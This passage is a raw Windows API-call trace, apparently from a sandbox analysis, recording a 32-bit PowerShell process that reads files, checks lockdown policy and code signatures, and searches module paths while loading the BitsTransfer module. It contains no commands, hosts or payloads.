lpBuffer=0x22ced9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3b8, lpOverlapped=0x0 | out: lpBuffer=0x22ced9c*, lpNumberOfBytesRead=0x5a2e3b8*=0x3b6, lpOverlapped=0x0) returned 1 [0169.586] SetFilePointer (in: hFile=0x414, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e38c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e38c*=0) returned 0x3b6 [0169.586] ReadFile (in: hFile=0x414, lpBuffer=0x22ced9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3b8, lpOverlapped=0x0 | out: lpBuffer=0x22ced9c*, lpNumberOfBytesRead=0x5a2e3b8*=0x0, lpOverlapped=0x0) returned 1 [0169.586] CloseHandle (hObject=0x414) returned 1 [0169.588] CoCreateGuid (in: pguid=0x5a2e3f8 | out: pguid=0x5a2e3f8*(Data1=0x2bea3f88, Data2=0x9678, Data3=0x4f8c, Data4=([0]=0xa9, [1]=0x3c, [2]=0x92, [3]=0x6b, [4]=0xca, [5]=0x72, [6]=0xe1, [7]=0x56))) returned 0x0 [0169.588] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x414 [0169.588] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x420 [0169.589] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3f4 [0169.589] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x234 [0169.589] SetEvent (hEvent=0x234) returned 1 [0169.589] SetEvent (hEvent=0x414) returned 1 [0169.589] SetEvent (hEvent=0x420) returned 1 [0169.589] SetEvent (hEvent=0x3f4) returned 1 [0169.590] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x238 [0169.590] SetThreadUILanguage (LangId=0x0) returned 0x409 [0169.592] EtwEventActivityIdControl () returned 0x0 [0169.592] EtwEventActivityIdControl () returned 0x0 [0169.592] EtwEventActivityIdControl () returned 0x0 [0169.601] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1")) returned 0x20 [0169.601] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0169.601] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x52, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", lpFilePart=0x0) returned 0x51 [0169.602] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2dd30, Length=0x20, ResultLength=0x5a2dda0 | out: SystemInformation=0x5a2dd30, ResultLength=0x5a2dda0*=0x0) returned 0xc0000003 [0169.602] GetSystemInfo (in: lpSystemInfo=0x5a2ddac | out: lpSystemInfo=0x5a2ddac*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06)) [0169.602] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2dd3c | out: phkResult=0x5a2dd3c*=0x30c) returned 0x0 [0169.603] RegQueryValueExW (in: hKey=0x30c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2dd58, lpData=0x0, lpcbData=0x5a2dd54*=0x0 | out: lpType=0x5a2dd58*=0x0, lpData=0x0, lpcbData=0x5a2dd54*=0x0) returned 0x2 [0169.603] RegCloseKey (hKey=0x30c) returned 0x0 [0169.603] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0169.603] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x52, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", lpFilePart=0x0) returned 0x51 [0169.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dcb4) returned 1 [0169.603] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x30c [0169.604] GetFileType (hFile=0x30c) returned 0x1 [0169.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dcb0) returned 1 [0169.604] GetFileType (hFile=0x30c) returned 0x1 [0169.604] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2dcf0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2dcf0*=0) returned 0x0 [0169.604] ReadFile (in: hFile=0x30c, lpBuffer=0x22dc7a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2dd1c, lpOverlapped=0x0 | out: lpBuffer=0x22dc7a0*, lpNumberOfBytesRead=0x5a2dd1c*=0x3b6, lpOverlapped=0x0) returned 1 [0169.604] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2dcf0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2dcf0*=0) returned 0x3b6 [0169.604] ReadFile (in: hFile=0x30c, lpBuffer=0x22dc7a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2dd1c, lpOverlapped=0x0 | out: lpBuffer=0x22dc7a0*, lpNumberOfBytesRead=0x5a2dd1c*=0x0, lpOverlapped=0x0) returned 1 [0169.604] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2dc84, Length=0x20, ResultLength=0x5a2dcf4 | out: SystemInformation=0x5a2dc84, ResultLength=0x5a2dcf4*=0x0) returned 0xc0000003 [0169.605] GetSystemInfo (in: lpSystemInfo=0x5a2dd00 | out: lpSystemInfo=0x5a2dd00*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06)) [0169.605] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2dc90 | out: phkResult=0x5a2dc90*=0x3f8) returned 0x0 [0169.605] RegQueryValueExW (in: hKey=0x3f8, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2dcac, lpData=0x0, lpcbData=0x5a2dca8*=0x0 | out: lpType=0x5a2dcac*=0x0, lpData=0x0, lpcbData=0x5a2dca8*=0x0) returned 0x2 [0169.605] RegCloseKey (hKey=0x3f8) returned 0x0 [0169.605] CloseHandle (hObject=0x30c) returned 1 [0169.606] CoCreateGuid (in: pguid=0x5a2dd80 | out: pguid=0x5a2dd80*(Data1=0xd5347b0, Data2=0x5627, Data3=0x4081, Data4=([0]=0xbf, [1]=0x6b, [2]=0x69, [3]=0xcd, [4]=0xef, [5]=0x25, [6]=0x3, [7]=0x17))) returned 0x0 [0169.608] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2dae0 | out: lpPerformanceCount=0x5a2dae0*=3249412864709) returned 1 [0169.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0169.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x52, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", lpFilePart=0x0) returned 0x51 [0169.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d7cc) returned 1 [0169.609] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2da90 | out: lpFileInformation=0x5a2da90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a2760e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x14a2760e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37b3dedc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3b6)) returned 1 [0169.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d7c8) returned 1 [0169.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0169.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x52, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", lpFilePart=0x0) returned 0x51 [0169.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0169.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x52, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", lpFilePart=0x0) returned 0x51 [0169.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d760) returned 1 [0169.610] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2da24 | out: lpFileInformation=0x5a2da24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a2760e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x14a2760e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37b3dedc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3b6)) returned 1 [0169.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d75c) returned 1 [0169.610] CoTaskMemAlloc (cb=0x10) returned 0x5c4ef90 [0169.610] CoTaskMemAlloc (cb=0x10) returned 0x5c4f020 [0169.610] CoTaskMemAlloc (cb=0xa4) returned 0x3cce48 [0169.610] CoTaskMemAlloc (cb=0x30) returned 0x3c4d08 [0169.610] WinVerifyTrust () returned 0x800b0100 [0169.622] CoTaskMemFree (pv=0x5c4ef90) [0169.622] CoTaskMemFree (pv=0x3c4d08) [0169.622] CryptCATHandleFromStore () returned 0x36cbf0 [0169.622] WTHelperGetProvSignerFromChain () returned 0x0 [0169.622] CoTaskMemAlloc (cb=0x10) returned 0x5c4ef90 [0169.622] CoTaskMemAlloc (cb=0x30) returned 0x3c4d08 [0169.622] WinVerifyTrust () returned 0x0 [0169.623] CoTaskMemFree (pv=0x3c4d08) [0169.623] CoTaskMemFree (pv=0x5c4ef90) [0169.623] CoTaskMemFree (pv=0x3cce48) [0169.623] CoTaskMemFree (pv=0x5c4f020) [0169.635] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2d57c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0169.846] EtwEventActivityIdControl () returned 0x0 [0169.846] EtwEventActivityIdControl () returned 0x0 [0169.846] EtwEventActivityIdControl () returned 0x0 [0169.863] EtwEventActivityIdControl () returned 0x0 [0169.864] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\en-US\\BitsTransfer.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\en-us\\bitstransfer.psd1")) returned 0xffffffff [0169.864] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\en\\BitsTransfer.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\en\\bitstransfer.psd1")) returned 0xffffffff [0169.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0169.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x52, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", lpFilePart=0x0) returned 0x51 [0169.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0169.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0169.866] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2d41c | out: phkResult=0x5a2d41c*=0x3f8) returned 0x0 [0169.866] RegQueryValueExW (in: hKey=0x3f8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2d43c, lpData=0x0, lpcbData=0x5a2d438*=0x0 | out: lpType=0x5a2d43c*=0x1, lpData=0x0, lpcbData=0x5a2d438*=0x56) returned 0x0 [0169.866] RegQueryValueExW (in: hKey=0x3f8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2d43c, lpData=0x22fa7b8, lpcbData=0x5a2d438*=0x56 | out: lpType=0x5a2d43c*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2d438*=0x56) returned 0x0 [0169.866] RegCloseKey (hKey=0x3f8) returned 0x0 [0169.870] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.format.ps1xml")) returned 0x20 [0169.876] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.format.ps1xml")) returned 0x20 [0169.877] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.format.ps1xml")) returned 0x20 [0169.881] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0169.881] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\PSGetModuleInfo.xml", nBufferLength=0x54, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x53 [0169.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d21c) returned 1 [0169.881] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x5a2d4e0 | out: lpFileInformation=0x5a2d4e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0169.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d218) returned 1 [0169.882] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\Microsoft.BackgroundIntelligentTransfer.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x73 [0169.882] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\Microsoft.BackgroundIntelligentTransfer.Management", nBufferLength=0x73, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\Microsoft.BackgroundIntelligentTransfer.Management", lpFilePart=0x0) returned 0x72 [0169.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d11c) returned 1 [0169.882] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\Microsoft.BackgroundIntelligentTransfer.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\microsoft.backgroundintelligenttransfer.management"), fInfoLevelId=0x0, lpFileInformation=0x5a2d3e0 | out: lpFileInformation=0x5a2d3e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0169.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d118) returned 1 [0169.886] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\Microsoft.BackgroundIntelligentTransfer.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\microsoft.backgroundintelligenttransfer.management.psd1")) returned 0xffffffff [0169.890] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\Microsoft.BackgroundIntelligentTransfer.Management.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\microsoft.backgroundintelligenttransfer.management.psm1")) returned 0xffffffff [0169.894] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\Microsoft.BackgroundIntelligentTransfer.Management.cdxml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\microsoft.backgroundintelligenttransfer.management.cdxml")) returned 0xffffffff [0169.897] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\Microsoft.BackgroundIntelligentTransfer.Management.xaml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\microsoft.backgroundintelligenttransfer.management.xaml")) returned 0xffffffff [0169.901] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\Microsoft.BackgroundIntelligentTransfer.Management.ni.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\microsoft.backgroundintelligenttransfer.management.ni.dll")) returned 0xffffffff [0169.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d024) returned 1 [0169.916] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.backgroundintelligenttransfer.management"), fInfoLevelId=0x0, lpFileInformation=0x5a2d2e8 | out: lpFileInformation=0x5a2d2e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0169.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d020) returned 1 [0169.942] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0x10 [0169.943] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6a [0169.943] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management", nBufferLength=0x6a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management", lpFilePart=0x0) returned 0x69 [0169.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d024) returned 1 [0169.943] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\microsoft.backgroundintelligenttransfer.management"), fInfoLevelId=0x0, lpFileInformation=0x5a2d2e8 | out: lpFileInformation=0x5a2d2e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0169.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d020) returned 1 [0169.947] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management\\Microsoft.BackgroundIntelligentTransfer.Management.psd1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\microsoft.backgroundintelligenttransfer.management\\microsoft.backgroundintelligenttransfer.management.psd1")) returned 0xffffffff [0169.951] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management\\Microsoft.BackgroundIntelligentTransfer.Management.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\microsoft.backgroundintelligenttransfer.management\\microsoft.backgroundintelligenttransfer.management.psm1")) returned 0xffffffff [0169.956] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management\\Microsoft.BackgroundIntelligentTransfer.Management.cdxml" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\microsoft.backgroundintelligenttransfer.management\\microsoft.backgroundintelligenttransfer.management.cdxml")) returned 0xffffffff [0169.961] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management\\Microsoft.BackgroundIntelligentTransfer.Management.xaml" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\microsoft.backgroundintelligenttransfer.management\\microsoft.backgroundintelligenttransfer.management.xaml")) returned 0xffffffff [0169.965] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management\\Microsoft.BackgroundIntelligentTransfer.Management.ni.dll" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\microsoft.backgroundintelligenttransfer.management\\microsoft.backgroundintelligenttransfer.management.ni.dll")) returned 0xffffffff [0170.035] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0170.036] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0170.036] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management", nBufferLength=0x64, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management", lpFilePart=0x0) returned 0x63 [0170.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d024) returned 1 [0170.036] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.backgroundintelligenttransfer.management"), fInfoLevelId=0x0, lpFileInformation=0x5a2d2e8 | out: lpFileInformation=0x5a2d2e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0170.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d020) returned 1 [0170.041] GetFileAttributesW (lpFileName="C:\\Program Files 